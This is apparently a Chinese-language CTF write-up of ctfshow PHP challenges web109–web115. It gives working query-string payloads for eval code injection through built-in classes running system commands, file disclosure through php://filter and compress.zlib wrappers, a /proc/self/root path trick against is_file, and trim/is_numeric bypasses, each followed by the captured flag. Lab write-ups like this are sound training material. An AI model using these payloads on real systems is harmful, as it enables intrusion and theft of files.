目录
1、web109
2、web110
3、web111
4、web112
5、web113
6、web114
7、web115
1、web109
正则匹配要求 v1 和 v2 都包含字母,eval 函数将字符串作为 PHP 代码执行:new $v1 创建一个名为 v1 的类的实例,($v2()) 调用 v2 方法,将其返回值作为参数传递给 v1 类的构造函数,echo 输出创建的对象,由于 echo,如果 v1 类实现了 __toString() 方法,该方法会被调用并输出结果。
利用点: PHP 的魔术方法 __toString() 和异常处理机制实现执行任意代码。
魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。因此,通过使用这些类,可以将代码注入到 eval 中并输出结果。
构造特定的 v1 和 v2 参数,可以利用这一机制执行任意代码,payload:
?v1=Exception&v2=system('ls')
?v1=CachingIterator&v2=system(ls)
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
其中 v1 是一个可以转换为字符串的类,v2 是一个有效的函数名,可以执行并返回结果作为 v1 类的构造函数参数。
拿到 flag:ctfshow{79368fc7-8a33-4622-879a-7ca73b2bc143}
执行的代码相当于:
eval("echo new Exception(system('tac fl36dg.txt'));");
由于 Exception 类的构造函数可以接受任意字符串参数,并且其 __toString() 方法会返回该字符串参数,eval 会输出 system('tac fl36dg.txt') 的结果,即文件内容。
上述 payload 使用的都是 php 的内置类,我们还可以使用匿名类结合魔术方法来打:
?v1=class{ public function __construct(){system('tac f*');}};&v2=w
new class{ public function __construct(){system('tac f*');}} 创建一个匿名类,并执行其构造函数,运行 system('tac f*');w() 是一个无效的函数调用,但由于构造函数已经执行,系统命令也已经执行,函数调用的失败并不会影响系统命令的执行结果。
2、web110
考察:php内置类,利用 FilesystemIterator 获取指定目录下的所有文件
新增了很多过滤东西,特别是括号被过滤掉了,我们无法对函数进行传参。
php 中查看目录的函数有:scandir()、golb()、dirname()、basename()、realpath()、getcwd() ,其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数,而 getcwd() 不需要参数,getchwd() 函数会返回当前工作目录。
payload:
?v1=FilesystemIterator&v2=getcwd
相当于执行:
eval("echo new FilesystemIterator(getcwd());");
getcwd() 返回当前工作目录路径,之后创建一个 FilesystemIterator 对象,该对象会遍历当前目录中的文件,这里就会输出当前目录中第一个文件的路径。
访问 fl36dga.txt
拿到 flag:ctfshow{d121646a-f5df-44b0-b958-da5f2613f299}
3、web111
对 v1 和 v2 的输入有过滤,要求 v1 中包含字符串 "ctfshow",才会调用 getflag 函数。
eval("$$v1 = &$$v2;");
var_dump($$v1);
将 $v2 的值引用赋给 $v1 对应的变量,即 $ctfshow,之后打印变量 $$v1($ctfshow) 的信息。
原本思路是想将 $v2 赋成 flag,就得到 $flag,再将 $flag 赋给 $ctfshow,然后输出 $ctfshow 实际就是输出 $flag 的内容,构造 payload:
?v1=ctfshow&v2=flag
但是返回 NULL,因为 $flag 在自定义函数 getFlag 函数中没有定义,$flag 是属于 flag.php 中的变量,对于 getFlag 来说是外部变量,不能直接使用。
因此这里使用超全局变量 $GLOBALS,$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。
payload:
?v1=ctfshow&v2=GLOBALS
将全部变量输出
拿到 flag:ctfshow{dd7d44c1-7755-4d98-8d4c-caf6f3713b19}
4、web112
过滤掉了一些协议和过滤器,以及 ../,我最开始还以为是过滤了点,其实没有。
is_file() 函数用于检查指定的文件是否是常规的文件,如果是,则返回 TRUE。
这里需要绕过这个 is_file 的检测,但是又要能被 highlight_file 识别,使用 php 伪协议。
不使用过滤器,payload:
?file=php://filter/resource=flag.php
拿到 flag:ctfshow{3dbee33d-4de6-42e3-b01b-561878a5cca8}
也可以使用正则匹配外的:
?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
结果需要编码转换一下:
<?php
#对特殊符号进行转义
$flag="f\$al=gc\"fthswof{0d6f51-6e3674-07-658476-4cc43d99db}f;\"";
$re=iconv("UCS-2BE","UCS-2LE",$flag);
echo "flag:".$re;
?>
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
或者:
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
?file=compress.zlib://flag.php
5、web113
新增过滤掉 filter
使用:
?file=compress.zlib://flag.php
拿到 flag:ctfshow{aa7d2092-be32-4fd4-89e1-942366c6e3c8}
预期解的 payload:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
其中 /proc/self/root 是 Linux 系统中一个特殊的符号链接,它始终指向当前进程的根目录。
由于目录溢出导致 is_file 无法正确解析,认为这不是一个文件,返回 FALSE。
6、web114
没有过滤 filter,直接读:
?file=php://filter/resource=flag.php
flag:ctfshow{7dc133a3-81e8-458a-8f21-534406d511d2}
7、web115
str_replace() 函数替换字符串中的一些字符(区分大小写)。
用法:str_replace(find,replace,string,count)
参数 | 描述 |
---|---|
find | 必需。规定要查找的值。 |
replace | 必需。规定替换 find 中的值的值。 |
string | 必需。规定被搜索的字符串。 |
count | 可选。一个变量,对替换数进行计数。 |
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
用法:trim(string,charlist)
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
charlist | 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
|
要求在 filter 函数前 $num 不能为 36,但是执行 filter 函数后 $num 又要等于 36。
对于 trim() 函数会去除空格( %20)、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节符(%00)、垂直制表符(%0b),但不去除换页符(%0c)。
payload:
?num=%0c36
这些内容都不在匹配范围内,因此 filter 函数相当于无效。
继续看后面的几个比较:
is_numeric($num)
满足,is_numeric 可以在数字前面加空格绕过,%0c 是换页符,%09 和 %20 也都可以让 is_numeric() 函数返回为 TRUE。
$num!=='36' and trim($num)!=='36'
$num=%0c36,在移除空白字符前和移除空白字符后,都不强等于 36。
最后一个:
filter($num)=='36'
这里是弱比较,会先进行类型转换再比较,返回结果也是 TRUE。
总的来说就是:在 PHP 中,使用 ===
和 !==
进行比较时,会同时比较值和类型,而使用 ==
和 !=
进行比较时,会进行类型转换后再比较。
还有一个考点就是 is_numeric 的绕过了。
拿到 flag:ctfshow{06166de0-0316-4da9-ac27-26c9c4c4bb5b}